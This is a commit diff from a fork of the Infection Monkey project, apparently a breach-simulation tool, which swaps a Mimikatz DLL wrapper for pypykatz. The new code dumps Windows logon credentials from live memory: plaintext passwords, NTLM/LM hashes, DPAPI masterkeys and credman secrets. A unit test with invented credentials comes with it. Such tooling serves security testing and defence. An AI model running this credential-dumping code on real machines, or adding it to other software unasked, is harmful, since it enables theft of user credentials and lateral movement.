forked from p15670423/monkey
Migrated to pypykatz on monkey
This commit is contained in:
parent
33ef1f6261
commit
90b47a4bb6
|
@ -17,3 +17,4 @@ wmi==1.4.9 ; sys_platform == 'win32'
|
||||||
pymssql<3.0
|
pymssql<3.0
|
||||||
pyftpdlib
|
pyftpdlib
|
||||||
WinSys-3.x
|
WinSys-3.x
|
||||||
|
pypykatz
|
||||||
|
|
|
@ -1,129 +0,0 @@
|
||||||
import binascii
|
|
||||||
import ctypes
|
|
||||||
import logging
|
|
||||||
import socket
|
|
||||||
import zipfile
|
|
||||||
|
|
||||||
import infection_monkey.config
|
|
||||||
from common.utils.attack_utils import ScanStatus, UsageEnum
|
|
||||||
from infection_monkey.telemetry.attack.t1129_telem import T1129Telem
|
|
||||||
from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
|
|
||||||
from infection_monkey.pyinstaller_utils import get_binary_file_path, get_binaries_dir_path
|
|
||||||
|
|
||||||
__author__ = 'itay.mizeretz'
|
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
|
||||||
|
|
||||||
|
|
||||||
class MimikatzCollector(object):
|
|
||||||
"""
|
|
||||||
Password collection module for Windows using Mimikatz.
|
|
||||||
"""
|
|
||||||
|
|
||||||
# Name of Mimikatz DLL. Must be name of file in Mimikatz zip.
|
|
||||||
MIMIKATZ_DLL_NAME = 'tmpzipfile123456.dll'
|
|
||||||
|
|
||||||
# Name of ZIP containing Mimikatz. Must be identical to one on monkey.spec
|
|
||||||
MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip'
|
|
||||||
|
|
||||||
# Password to Mimikatz zip file
|
|
||||||
MIMIKATZ_ZIP_PASSWORD = b'VTQpsJPXgZuXhX6x3V84G'
|
|
||||||
|
|
||||||
def __init__(self):
|
|
||||||
self._config = infection_monkey.config.WormConfiguration
|
|
||||||
self._isInit = False
|
|
||||||
self._dll = None
|
|
||||||
self._collect = None
|
|
||||||
self._get = None
|
|
||||||
self.init_mimikatz()
|
|
||||||
|
|
||||||
def init_mimikatz(self):
|
|
||||||
try:
|
|
||||||
with zipfile.ZipFile(get_binary_file_path(MimikatzCollector.MIMIKATZ_ZIP_NAME), 'r') as mimikatz_zip:
|
|
||||||
mimikatz_zip.extract(self.MIMIKATZ_DLL_NAME, path=get_binaries_dir_path(),
|
|
||||||
pwd=self.MIMIKATZ_ZIP_PASSWORD)
|
|
||||||
|
|
||||||
self._dll = ctypes.WinDLL(get_binary_file_path(self.MIMIKATZ_DLL_NAME))
|
|
||||||
collect_proto = ctypes.WINFUNCTYPE(ctypes.c_int)
|
|
||||||
get_proto = ctypes.WINFUNCTYPE(MimikatzCollector.LogonData)
|
|
||||||
get_text_output_proto = ctypes.WINFUNCTYPE(ctypes.c_wchar_p)
|
|
||||||
self._collect = collect_proto(("collect", self._dll))
|
|
||||||
self._get = get_proto(("get", self._dll))
|
|
||||||
self._get_text_output_proto = get_text_output_proto(("getTextOutput", self._dll))
|
|
||||||
self._isInit = True
|
|
||||||
status = ScanStatus.USED
|
|
||||||
except Exception:
|
|
||||||
LOG.exception("Error initializing mimikatz collector")
|
|
||||||
status = ScanStatus.SCANNED
|
|
||||||
T1106Telem(status, UsageEnum.MIMIKATZ_WINAPI).send()
|
|
||||||
T1129Telem(status, UsageEnum.MIMIKATZ).send()
|
|
||||||
|
|
||||||
def get_logon_info(self):
|
|
||||||
"""
|
|
||||||
Gets the logon info from mimikatz.
|
|
||||||
Returns a dictionary of users with their known credentials.
|
|
||||||
"""
|
|
||||||
LOG.info('Getting mimikatz logon information')
|
|
||||||
if not self._isInit:
|
|
||||||
return {}
|
|
||||||
LOG.debug("Running mimikatz collector")
|
|
||||||
|
|
||||||
try:
|
|
||||||
entry_count = self._collect()
|
|
||||||
|
|
||||||
logon_data_dictionary = {}
|
|
||||||
hostname = socket.gethostname()
|
|
||||||
|
|
||||||
self.mimikatz_text = self._get_text_output_proto()
|
|
||||||
|
|
||||||
for i in range(entry_count):
|
|
||||||
entry = self._get()
|
|
||||||
username = entry.username
|
|
||||||
|
|
||||||
password = entry.password
|
|
||||||
lm_hash = binascii.hexlify(bytearray(entry.lm_hash)).decode()
|
|
||||||
ntlm_hash = binascii.hexlify(bytearray(entry.ntlm_hash)).decode()
|
|
||||||
|
|
||||||
if 0 == len(password):
|
|
||||||
has_password = False
|
|
||||||
elif (username[-1] == '$') and (hostname.lower() == username[0:-1].lower()):
|
|
||||||
# Don't save the password of the host domain user (HOSTNAME$)
|
|
||||||
has_password = False
|
|
||||||
else:
|
|
||||||
has_password = True
|
|
||||||
|
|
||||||
has_lm = ("00000000000000000000000000000000" != lm_hash)
|
|
||||||
has_ntlm = ("00000000000000000000000000000000" != ntlm_hash)
|
|
||||||
|
|
||||||
if username not in logon_data_dictionary:
|
|
||||||
logon_data_dictionary[username] = {}
|
|
||||||
if has_password:
|
|
||||||
logon_data_dictionary[username]["password"] = password
|
|
||||||
if has_lm:
|
|
||||||
logon_data_dictionary[username]["lm_hash"] = lm_hash
|
|
||||||
if has_ntlm:
|
|
||||||
logon_data_dictionary[username]["ntlm_hash"] = ntlm_hash
|
|
||||||
|
|
||||||
return logon_data_dictionary
|
|
||||||
except Exception:
|
|
||||||
LOG.exception("Error getting logon info")
|
|
||||||
return {}
|
|
||||||
|
|
||||||
def get_mimikatz_text(self):
|
|
||||||
return self.mimikatz_text
|
|
||||||
|
|
||||||
class LogonData(ctypes.Structure):
|
|
||||||
"""
|
|
||||||
Logon data structure returned from mimikatz.
|
|
||||||
"""
|
|
||||||
|
|
||||||
WINDOWS_MAX_USERNAME_PASS_LENGTH = 257
|
|
||||||
LM_NTLM_HASH_LENGTH = 16
|
|
||||||
|
|
||||||
_fields_ = \
|
|
||||||
[
|
|
||||||
("username", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH),
|
|
||||||
("password", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH),
|
|
||||||
("lm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH),
|
|
||||||
("ntlm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH)
|
|
||||||
]
|
|
|
@ -0,0 +1,72 @@
|
||||||
|
import binascii
|
||||||
|
from typing import Dict, List
|
||||||
|
|
||||||
|
from pypykatz.pypykatz import pypykatz
|
||||||
|
|
||||||
|
from infection_monkey.system_info.windows_cred_collector.windows_credential import WindowsCredential
|
||||||
|
|
||||||
|
CREDENTIAL_TYPES = ['msv_creds', 'wdigest_creds', 'ssp_creds', 'livessp_creds', 'dpapi_creds',
|
||||||
|
'kerberos_creds', 'credman_creds', 'tspkg_creds']
|
||||||
|
|
||||||
|
|
||||||
|
def get_windows_creds():
|
||||||
|
pypy_handle = pypykatz.go_live()
|
||||||
|
logon_data = pypy_handle.to_dict()
|
||||||
|
windows_creds = _parse_pypykatz_results(logon_data)
|
||||||
|
return windows_creds
|
||||||
|
|
||||||
|
|
||||||
|
def _parse_pypykatz_results(pypykatz_data: Dict) -> List:
|
||||||
|
windows_creds = []
|
||||||
|
for session in pypykatz_data['logon_sessions'].values():
|
||||||
|
windows_creds.extend(_get_creds_from_pypykatz_session(session))
|
||||||
|
return windows_creds
|
||||||
|
|
||||||
|
|
||||||
|
def _get_creds_from_pypykatz_session(pypykatz_session: Dict):
|
||||||
|
windows_creds = []
|
||||||
|
for cred_type_key in CREDENTIAL_TYPES:
|
||||||
|
pypykatz_creds = pypykatz_session[cred_type_key]
|
||||||
|
windows_creds.extend(_get_creds_from_pypykatz_creds(pypykatz_creds))
|
||||||
|
return windows_creds
|
||||||
|
|
||||||
|
|
||||||
|
def _get_creds_from_pypykatz_creds(pypykatz_creds):
|
||||||
|
creds = _filter_empty_creds(pypykatz_creds)
|
||||||
|
return [_get_windows_cred(cred) for cred in creds]
|
||||||
|
|
||||||
|
|
||||||
|
def _filter_empty_creds(pypykatz_creds: List[Dict]):
|
||||||
|
return [cred for cred in pypykatz_creds if not _is_cred_empty(cred)]
|
||||||
|
|
||||||
|
|
||||||
|
def _is_cred_empty(pypykatz_cred: Dict):
|
||||||
|
password_empty = 'password' not in pypykatz_cred or not pypykatz_cred['password']
|
||||||
|
ntlm_hash_empty = 'NThash' not in pypykatz_cred or not pypykatz_cred['NThash']
|
||||||
|
lm_hash_empty = 'LMhash' not in pypykatz_cred or not pypykatz_cred['LMhash']
|
||||||
|
return password_empty and ntlm_hash_empty and lm_hash_empty
|
||||||
|
|
||||||
|
|
||||||
|
def _get_windows_cred(pypykatz_cred: Dict):
|
||||||
|
password = ''
|
||||||
|
ntlm_hash = ''
|
||||||
|
lm_hash = ''
|
||||||
|
username = pypykatz_cred['username']
|
||||||
|
if 'password' in pypykatz_cred:
|
||||||
|
password = pypykatz_cred['password']
|
||||||
|
if 'NThash' in pypykatz_cred:
|
||||||
|
ntlm_hash = _hash_to_string(pypykatz_cred['NThash'])
|
||||||
|
if 'LMhash' in pypykatz_cred:
|
||||||
|
lm_hash = _hash_to_string(pypykatz_cred['LMhash'])
|
||||||
|
return WindowsCredential(username=username,
|
||||||
|
password=password,
|
||||||
|
ntlm_hash=ntlm_hash,
|
||||||
|
lm_hash=lm_hash)
|
||||||
|
|
||||||
|
|
||||||
|
def _hash_to_string(hash):
|
||||||
|
if type(hash) == str:
|
||||||
|
return hash
|
||||||
|
if type(hash) == bytes:
|
||||||
|
return binascii.hexlify(bytearray(hash)).decode()
|
||||||
|
raise Exception(f"Can't convert hash to string, unsupported hash type {type(hash)}")
|
|
@ -0,0 +1,84 @@
|
||||||
|
from unittest import TestCase
|
||||||
|
|
||||||
|
from infection_monkey.system_info.windows_cred_collector.pypykatz_handler import _get_creds_from_pypykatz_session
|
||||||
|
|
||||||
|
|
||||||
|
class TestPypykatzHandler(TestCase):
|
||||||
|
# Made up credentials, but structure of dict should be roughly the same
|
||||||
|
PYPYKATZ_SESSION = {
|
||||||
|
'authentication_id': 555555, 'session_id': 3, 'username': 'Monkey',
|
||||||
|
'domainname': 'ReAlDoMaIn', 'logon_server': 'ReAlDoMaIn',
|
||||||
|
'logon_time': '2020-06-02T04:53:45.256562+00:00',
|
||||||
|
'sid': 'S-1-6-25-260123139-3611579848-5589493929-3021', 'luid': 123086,
|
||||||
|
'msv_creds': [
|
||||||
|
{'username': 'monkey', 'domainname': 'ReAlDoMaIn',
|
||||||
|
'NThash': b'1\xb7<Y\xd7\xe0\xc0\x89\xc01\xd6\xcf\xe0\xd1j\xe9', 'LMHash': None,
|
||||||
|
'SHAHash': b'\x18\x90\xaf\xd8\x07\t\xda9\xa3\xee^kK\r2U\xbf\xef\x95`'}],
|
||||||
|
'wdigest_creds': [
|
||||||
|
{'credtype': 'wdigest', 'username': 'monkey', 'domainname': 'ReAlDoMaIn',
|
||||||
|
'password': 'canyoufindme', 'luid': 123086}],
|
||||||
|
'ssp_creds': [{'credtype': 'wdigest', 'username': 'monkey123', 'domainname': 'ReAlDoMaIn',
|
||||||
|
'password': 'canyoufindme123', 'luid': 123086}],
|
||||||
|
'livessp_creds': [{'credtype': 'wdigest', 'username': 'monk3y', 'domainname': 'ReAlDoMaIn',
|
||||||
|
'password': 'canyoufindm3', 'luid': 123086}],
|
||||||
|
'dpapi_creds': [
|
||||||
|
{'credtype': 'dpapi', 'key_guid': '9123-123ae123de4-121239-3123-421f',
|
||||||
|
'masterkey': '6e81d0cfd5e9ec083cfbdaf4d25b9cc9cc6b72947f5e80920034d1275d8613532025975ef051e891c30e6e9af6db54500fedfed1c968389bf6262c77fbaa68c9',
|
||||||
|
'sha1_masterkey': 'bbdabc3cd2f6bcbe3e2cee6ce4ce4cebcef4c6da', 'luid': 123086},
|
||||||
|
{'credtype': 'dpapi', 'key_guid': '9123-123ae123de4-121239-3123-421f',
|
||||||
|
'masterkey': '6e81d0cfd5e9ec083cfbdaf4d25b9cc9cc6b72947f5e80920034d1275d8613532025975ef051e891c30e6e9af6db54500fedfed1c968389bf6262c77fbaa68c9',
|
||||||
|
'sha1_masterkey': 'bbdabc3cd2f6bcbe3e2cee6ce4ce4cebcef4c6da', 'luid': 123086},
|
||||||
|
{'credtype': 'dpapi', 'key_guid': '9123-123ae123de4-121239-3123-421f',
|
||||||
|
'masterkey': '6e81d0cfd5e9ec083cfbdaf4d25b9cc9cc6b72947f5e80920034d1275d8613532025975ef051e891c30e6e9af6db54500fedfed1c968389bf6262c77fbaa68c9',
|
||||||
|
'sha1_masterkey': 'bbdabc3cd2f6bcbe3e2cee6ce4ce4cebcef4c6da', 'luid': 123086},
|
||||||
|
{'credtype': 'dpapi', 'key_guid': '9123-123ae123de4-121239-3123-421f',
|
||||||
|
'masterkey': '6e81d0cfd5e9ec083cfbdaf4d25b9cc9cc6b72947f5e80920034d1275d8613532025975ef051e891c30e6e9af6db54500fedfed1c968389bf6262c77fbaa68c9',
|
||||||
|
'sha1_masterkey': 'bbdabc3cd2f6bcbe3e2cee6ce4ce4cebcef4c6da', 'luid': 123086},
|
||||||
|
{'credtype': 'dpapi', 'key_guid': '9123-123ae123de4-121239-3123-421f'}],
|
||||||
|
'kerberos_creds': [
|
||||||
|
{'credtype': 'kerberos', 'username': 'monkey_kerb', 'password': None, 'domainname': 'ReAlDoMaIn',
|
||||||
|
'luid': 123086, 'tickets': []}],
|
||||||
|
'credman_creds': [
|
||||||
|
{'credtype': 'credman', 'username': 'monkey', 'domainname': 'monkey.ad.monkey.com',
|
||||||
|
'password': 'canyoufindme2', 'luid': 123086},
|
||||||
|
{'credtype': 'credman', 'username': 'monkey@monkey.com', 'domainname': 'moneky.monkey.com',
|
||||||
|
'password': 'canyoufindme1', 'luid': 123086},
|
||||||
|
{'credtype': 'credman', 'username': 'test', 'domainname': 'test.test.ts', 'password': 'canyoufindit',
|
||||||
|
'luid': 123086}],
|
||||||
|
'tspkg_creds': []}
|
||||||
|
|
||||||
|
def test__get_creds_from_pypykatz_session(self):
|
||||||
|
results = _get_creds_from_pypykatz_session(TestPypykatzHandler.PYPYKATZ_SESSION)
|
||||||
|
|
||||||
|
test_dicts = [{'username': 'monkey',
|
||||||
|
'ntlm_hash': '31b73c59d7e0c089c031d6cfe0d16ae9',
|
||||||
|
'password': '',
|
||||||
|
'lm_hash': ''},
|
||||||
|
{'username': 'monkey',
|
||||||
|
'ntlm_hash': '',
|
||||||
|
'password': 'canyoufindme',
|
||||||
|
'lm_hash': ''},
|
||||||
|
{'username': 'monkey123',
|
||||||
|
'ntlm_hash': '',
|
||||||
|
'password': 'canyoufindme123',
|
||||||
|
'lm_hash': ''},
|
||||||
|
{'username': 'monk3y',
|
||||||
|
'ntlm_hash': '',
|
||||||
|
'password': 'canyoufindm3',
|
||||||
|
'lm_hash': ''},
|
||||||
|
{'username': 'monkey',
|
||||||
|
'ntlm_hash': '',
|
||||||
|
'password': 'canyoufindme2',
|
||||||
|
'lm_hash': ''},
|
||||||
|
{'username': 'monkey@monkey.com',
|
||||||
|
'ntlm_hash': '',
|
||||||
|
'password': 'canyoufindme1',
|
||||||
|
'lm_hash': ''},
|
||||||
|
{'username': 'test',
|
||||||
|
'ntlm_hash': '',
|
||||||
|
'password': 'canyoufindit',
|
||||||
|
'lm_hash': ''},
|
||||||
|
]
|
||||||
|
results = [result.to_dict() for result in results]
|
||||||
|
for test_dict in test_dicts:
|
||||||
|
self.assertTrue(test_dict in results)
|
|
@ -0,0 +1,22 @@
|
||||||
|
import logging
|
||||||
|
from typing import List
|
||||||
|
|
||||||
|
from infection_monkey.system_info.windows_cred_collector.pypykatz_handler import get_windows_creds
|
||||||
|
from infection_monkey.system_info.windows_cred_collector.windows_credential import WindowsCredential
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
class WindowsCredentialCollector(object):
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_creds():
|
||||||
|
creds = get_windows_creds()
|
||||||
|
return WindowsCredentialCollector.cred_list_to_cred_dict(creds)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def cred_list_to_cred_dict(creds: List[WindowsCredential]):
|
||||||
|
cred_dict = {}
|
||||||
|
for cred in creds:
|
||||||
|
cred_dict.update({cred.username: cred.to_dict()})
|
||||||
|
return cred_dict
|
|
@ -0,0 +1,15 @@
|
||||||
|
from typing import Dict
|
||||||
|
|
||||||
|
|
||||||
|
class WindowsCredential:
|
||||||
|
def __init__(self, username: str, password="", ntlm_hash="", lm_hash=""):
|
||||||
|
self.username = username
|
||||||
|
self.password = password
|
||||||
|
self.ntlm_hash = ntlm_hash
|
||||||
|
self.lm_hash = lm_hash
|
||||||
|
|
||||||
|
def to_dict(self) -> Dict:
|
||||||
|
return {'username': self.username,
|
||||||
|
'password': self.password,
|
||||||
|
'ntlm_hash': self.ntlm_hash,
|
||||||
|
'lm_hash': self.lm_hash}
|
|
@ -2,12 +2,12 @@ import os
|
||||||
import logging
|
import logging
|
||||||
import sys
|
import sys
|
||||||
|
|
||||||
|
from infection_monkey.system_info.windows_cred_collector.windows_cred_collector import WindowsCredentialCollector
|
||||||
|
|
||||||
sys.coinit_flags = 0 # needed for proper destruction of the wmi python module
|
sys.coinit_flags = 0 # needed for proper destruction of the wmi python module
|
||||||
# noinspection PyPep8
|
# noinspection PyPep8
|
||||||
import infection_monkey.config
|
import infection_monkey.config
|
||||||
# noinspection PyPep8
|
# noinspection PyPep8
|
||||||
from infection_monkey.system_info.mimikatz_collector import MimikatzCollector
|
|
||||||
# noinspection PyPep8
|
|
||||||
from infection_monkey.system_info import InfoCollector
|
from infection_monkey.system_info import InfoCollector
|
||||||
# noinspection PyPep8
|
# noinspection PyPep8
|
||||||
from infection_monkey.system_info.wmi_consts import WMI_CLASSES
|
from infection_monkey.system_info.wmi_consts import WMI_CLASSES
|
||||||
|
@ -61,12 +61,15 @@ class WindowsInfoCollector(InfoCollector):
|
||||||
LOG.debug('finished get_wmi_info')
|
LOG.debug('finished get_wmi_info')
|
||||||
|
|
||||||
def get_mimikatz_info(self):
|
def get_mimikatz_info(self):
|
||||||
mimikatz_collector = MimikatzCollector()
|
LOG.info("Gathering mimikatz info")
|
||||||
mimikatz_info = mimikatz_collector.get_logon_info()
|
try:
|
||||||
if mimikatz_info:
|
credentials = WindowsCredentialCollector.get_creds()
|
||||||
|
if credentials:
|
||||||
if "credentials" in self.info:
|
if "credentials" in self.info:
|
||||||
self.info["credentials"].update(mimikatz_info)
|
self.info["credentials"].update(credentials)
|
||||||
self.info["mimikatz"] = mimikatz_collector.get_mimikatz_text()
|
self.info["mimikatz"] = credentials
|
||||||
LOG.info('Mimikatz info gathered successfully')
|
LOG.info('Mimikatz info gathered successfully')
|
||||||
else:
|
else:
|
||||||
LOG.info('No mimikatz info was gathered')
|
LOG.info('No mimikatz info was gathered')
|
||||||
|
except Exception as e:
|
||||||
|
LOG.info(f"Pypykatz failed: {e}")
|
||||||
|
|
Loading…
Reference in New Issue